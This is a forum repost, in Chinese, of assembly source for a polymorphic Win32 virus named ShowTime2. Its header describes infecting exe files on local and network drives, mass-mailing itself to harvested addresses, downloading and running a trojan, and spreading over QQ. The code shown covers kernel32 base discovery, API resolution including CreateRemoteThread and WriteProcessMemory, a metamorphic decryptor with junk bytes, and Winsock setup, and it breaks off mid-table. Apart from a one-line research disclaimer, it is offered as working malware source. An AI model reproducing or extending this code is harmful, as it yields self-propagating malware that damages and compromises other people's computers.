[转载]Win32.poly.ShowTime2病毒源码

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
Code Language : ASM
  1. ;***************************************************************
  2. ;     名  称:Trash
  3. ;     测试平台:Win98/masmV7.0
  4. ;    
  5. ;     申明:本文仅作技术研究,否则后果自负
  6. ;注:
  7. ; 
  8. ;编译命令行:
  9. ;     ml /c /coff poly.asm
  10. ; link /subsystem:windows /section:.text,rew poly.obj
  11. ;***************************************************************     
  12. ;;简 介:
  13. ;1. 感染本地硬盘和网络上所有exe(GUI)文件 
  14. ;2. 搜索本地所有邮件地址,将病毒作为附件发送出去 
  15. ;3. 从网上下载木马程序并运行。 
  16. ;4. 利用QQ散播消息。
  17. ;************************************************* 
  18. ;工作流程: 
  19. ;1.首先得到重定位信息,保存在ebx中. 
  20. ;2.调用GetKBase ,得到Kernel32.dll的基地址。 
  21. ;3.调用GetAPIz,得到程序将使用的Kernel32中所有API.  
  22. ;4.判断是被感染文件还是自身.如是被感染文件则分配空间并动态产生解密模块,然后解密程序代码。
  23. ;  否则直接到5
  24. ;5. 调用DownloadFile下载木马程序
  25. ;6. 调用RunExe执行木马程序 
  26. ;7.调用DownloadFile下载邮件体hello.eml文件
  27. ;8. 启动发送QQ消息线程
  28. ;9. 感染本地Exe文件
  29. ;***************************************************
  30. .386
  31. .Model Flat, StdCall
  32. Option Casemap :None 
  33. ;___________________________________________________________________________
  34. include d:\masm32\useful.inc
  35. .code
  36. Main:
  37.    Flag dd 45678h
  38.  szCaption db \"ShowTime\",0
  39.  szText db \"Good luck!\",0
  40. Msgbox:
  41.    invoke MessageBox,NULL,addr szText,addr szCaption,MB_OK
  42. invoke ExitProcess,NULL
  43.  
  44.  
  45. VStart:
  46.  call Start 
  47. Start:
  48. pop ebx      ;病毒在宿主中的位置
  49. sub ebx , offset Start 
  50. call GetKBase  ;获得KERNEL.DLL基地址
  51.  
  52. jnz VStar
  53. jz VStar
  54. db 0e9h ;花指令
  55. VStar:
  56. call GetAPIz;获得病毒用到的APIs的地址
  57. mov eax,offset Msgbox
  58. .if Flag!=45678h;第一次运行则不用变形
  59. Next1:
  60.    push PAGE_EXECUTE_READWRITE
  61. push MEM_COMMIT
  62. push VirusLen
  63. push NULL
  64. call _VirtualAlloc[ebx]
  65. mov hMem[ebx],eax
  66. lea esi,[offset Load+ebx]
  67.    mov edi,hMem[ebx]
  68. mov ecx,EncryptLen/4
  69.    push ebx
  70. call Metamorphosize
  71.     pop ebx
  72. push ebx
  73. call hMem[ebx]
  74.     pop ebx
  75. .endif
  76.  
  77. call Load
  78.  
  79.  
  80. ;**********获得image of kernel32.dll的基址***************** 
  81.  
  82.  
  83. GetKBase: 
  84. mov edi , [esp+04h] 
  85. and edi , 0FFFF0000h 
  86. .while TRUE 
  87. .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE ;判断是否是MZ 
  88. mov esi, edi 
  89. add esi, DWORD ptr [esi+03Ch] ;esi指向PE标志
  90. .if DWORD ptr [esi] ==IMAGE_NT_SIGNATURE;是否有PE标志
  91.  
  92. .break;如果有跳出循环 
  93. .endif 
  94. .endif
  95. sub edi, 010000h 
  96. .if edi < MIN_KERNEL_SEARCH_BASE ;win9x 
  97. mov edi, 0bff70000h ;0bff7000h=9x\"base 
  98. .break 
  99. .endif 
  100. .endw 
  101. mov hKernel32[ebx],edi;把找到的KERNEL32。DLL的基地址保存起来
  102. ret 
  103.  
  104. GetAPIz: 
  105. push edi
  106. mov edx,edi ;edx->KERNEL32基地址
  107. assume edx :ptr IMAGE_DOS_HEADER 
  108. add edx,[edx].e_lfanew 
  109. assume edx:ptr IMAGE_NT_HEADERS 
  110. mov edx,[edx].OptionalHeader.DataDirectory.VirtualAddress 
  111. add edx,hKernel32[ebx];EDX->KERNEL32输出表地址 
  112.  
  113. assume edx:ptr IMAGE_EXPORT_DIRECTORY 
  114. push edx
  115. mov ebp,[edx].AddressOfNames 
  116. add ebp,hKernel32[ebx] ;ebp->指向所有函数名的RVA数组 
  117. push ebp
  118. xor eax,eax ;eax为序号
  119.  
  120. .repeat 
  121. push 14 ;为GetProcAddress函数名的长度 
  122. pop ecx 
  123. mov edi,[ebp] 
  124. add edi,hKernel32[ebx] 
  125. lea esi,[offset nGetProcAddress+ebx] 
  126. repz cmpsb;比较输出表中第I个函数名是否是GetProcessAddress
  127. .if zero? 
  128. .break ;如果是跳出
  129. .endif 
  130. add ebp,4 ;下一个RVA 
  131. inc eax ;序号加1
  132. .until eax == [edx].NumberOfNames ;[edx].NumberOfNames为函数的个数
  133.  
  134. mov ebp, [edx].AddressOfNameOrdinals ;指向AddressOfNames数组中相关函数的序数的16位数组
  135. add ebp, hKernel32[ebx] 
  136. movzx ecx, word ptr [ebp+eax*2] ;取GetProcessAddress函数的序号
  137. mov ebp, [edx].AddressOfFunctions ;[edx].AddressOfFunctions指向所有输出函数的RVA数组的首址
  138. add ebp, hKernel32[ebx] 
  139. mov eax, [ebp+ecx*4]
  140. add eax,hKernel32[ebx];eax为GetProcAddress函数的地址
  141. mov _GetProcAddress[ebx],eax
  142. pop ebp
  143. pop edx
  144. pop edi
  145. xor eax,eax ;eax为序号
  146.  
  147. .repeat 
  148. push 12 ;LoadLibraryA函数名的长度 
  149. pop ecx 
  150. mov edi,[ebp] 
  151. add edi,hKernel32[ebx] 
  152. lea esi,[offset nLoadLibraryA+ebx] 
  153. repz cmpsb;比较输出表中第I个函数名是否是LoadLibraryA
  154. .if zero? 
  155. .break ;如果是跳出
  156. .endif 
  157. add ebp,4 ;下一个RVA 
  158. inc eax ;序号加1
  159. .until eax == [edx].NumberOfNames ;[edx].NumberOfNames为函数的个数
  160.  
  161. mov ebp, [edx].AddressOfNameOrdinals ;指向AddressOfNames数组中相关函数的序数的16位数组
  162. add ebp, hKernel32[ebx] 
  163. movzx ecx, word ptr [ebp+eax*2] ;取LoadLibraryA函数的序号
  164. mov ebp, [edx].AddressOfFunctions ;[edx].AddressOfFunctions指向所有输出函数的RVA数组的首址
  165. add ebp, hKernel32[ebx] 
  166. mov eax, [ebp+ecx*4]
  167. add eax,hKernel32[ebx];eax为LoadLibraryA函数的地址
  168. mov _LoadLibraryA[ebx],eax
  169. lea eax,[offset nKernel+ebx]
  170. push eax
  171. call _LoadLibraryA[ebx]
  172. mov DWORD ptr hKernel32[ebx],eax
  173.  
  174. GetOApiz: 
  175.  
  176. call @api_table 
  177.  
  178. db \"LoadLibraryA\",0 
  179. db \"CreateThread\",0 
  180. db \"CreateRemoteThread\",0 
  181. db \"WinExec\",0 
  182. db \"CreateMutexA\",0 
  183. db \"OpenMutexA\",0 
  184. db \"ReleaseMutex\",0 
  185. db \"FindFirstFileA\",0 
  186. db \"FindNextFileA\",0 
  187. db \"FindClose\",0 
  188. db \"CreateFileA\",0 
  189. db \"CreateFileMappingA\",0 
  190. db \"MapViewOfFile\",0 
  191. db \"UnmapViewOfFile\",0 
  192. db \"SetFilePointer\",0 
  193. db \"ReadFile\",0
  194. db \"GetComputerNameA\",0
  195. db \"WriteFile\",0 
  196. db \"CloseHandle\",0 
  197. db \"VirtualAlloc\",0 
  198. db \"VirtualAllocEx\",0 
  199. db \"WriteProcessMemory\",0 
  200. db \"VirtualFree\",0 
  201. db \"VirtualFreeEx\",0 
  202. db \"lstrcmpi\",0 
  203. db \"lstrcpy\",0 
  204. db \"lstrcat\",0 
  205. db \"lstrlen\",0 
  206. db \"GetFileSize\",0 
  207. db \"GetSystemDirectoryA\",0 
  208. db \"GetModuleFileNameA\",0 
  209. db \"Sleep\",0 
  210. db \"GetSystemTime\",0 
  211. db \"DeleteFileA\",0 
  212. db \"OpenProcess\",0 
  213. db \"GetModuleHandleA\",0
  214. db \"GetCurrentDirectoryA\",0
  215. db \"SetCurrentDirectoryA\",0
  216. db \"ExitProcess\",0
  217. db \"GetExitCodeThread\",0
  218. db \"ResumeThread\",0
  219. @api_table: 
  220. pop edi 
  221. call @api_dest 
  222. K_Apiz: 
  223. _LoadLibraryA dd 0
  224. _CreateThread  dd 0
  225. _CreateRemoteThread dd 0
  226. _WinExec  dd 0
  227. _CreateMutex  dd 0
  228. _OpenMutex  dd 0
  229. _ReleaseMutex  dd 0
  230. _FindFirstFile  dd 0
  231. _FindNextFile  dd 0
  232. _FindClose  dd 0
  233. _CreateFile  dd 0
  234. _CreateFileMapping dd 0 
  235. _MapViewOfFile  dd 0
  236. _UnmapViewOfFile  dd 0
  237. _SetFilePointer  dd 0
  238. _ReadFile dd 0
  239. _GetComputerNameA dd 0
  240. _WriteFile  dd 0
  241. _CloseHandle  dd 0
  242. _VirtualAlloc  dd 0
  243. _VirtualAllocEx  dd 0
  244. _WriteProcessMemory  dd 0
  245. _VirtualFree  dd 0
  246. _VirtualFreeEx  dd 0
  247. _lstrcmpi  dd 0
  248. _lstrcpy  dd 0
  249. _lstrcat  dd 0
  250. _lstrlen  dd 0
  251. _GetFileSize  dd 0
  252. _GetSystemDirectory dd 0 
  253. _GetModuleFileNameA  dd 0
  254. _Sleep  dd 0
  255. _GetSystemTime dd 0 
  256. _DeleteFile  dd 0
  257. _OpenProcess dd 0
  258. _GetModuleHandleA dd 0
  259. _GetCurrentDirectoryA dd 0
  260. _SetCurrentDirectoryA dd 0
  261. _ExitProcess dd 0
  262. _GetExitCodeThread dd 0
  263. _ResumeThread dd 0
  264.  
  265.  
  266. K_API_NUM = ($-K_Apiz)/4 ;病毒中用到的API函数的个数
  267. @api_dest: 
  268. pop esi ;esi为存放找到的函数地址数组的首址
  269. push K_API_NUM 
  270. pop ecx 
  271. xor ebp,ebp 
  272. K_begin: 
  273. push ecx 
  274. push edi ;edi上面定义的函数名数组的首地址
  275. push hKernel32[ebx] 
  276. call _GetProcAddress[ebx] 
  277. or eax,eax
  278. jz GA_Fail 
  279. ;mov edx , DWORD ptr [esi+ebp] 
  280. mov dword ptr [esi],eax 
  281. GA_Fail:
  282. xor eax,eax 
  283. repnz scasb ;寻找字符串结束标志0,使edi指向下个函数名 
  284. add esi,4 
  285. pop ecx 
  286. loop K_begin 
  287. call szWsock32
  288.   db \"Wsock32.dll\",0
  289.   hSock dd 0
  290.   
  291. szWsock32:
  292.    call _LoadLibraryA[ebx]
  293. mov hSock[ebx],eax
  294. SockApis:
  295. call SockTable
  296.   db \"WSAStartup\",0
  297. db \"socket\",0
  298. db \"htons\",0
  299. db \"inet_addr\",0
  300. db \"connect\",0
  301. db \"send\",0
  302. db \"closesocket\",0
  303. db \"WSACleanup\",0
  304. db \"gethostbyname\",0
  305. SockTable:
  306.   pop edi
  307. call SockDest
  308. S_Apiz:
  309. _WSAStartup dd 0
  310. _socket dd 0
  311. _htons dd 0
  312. _inet_addr dd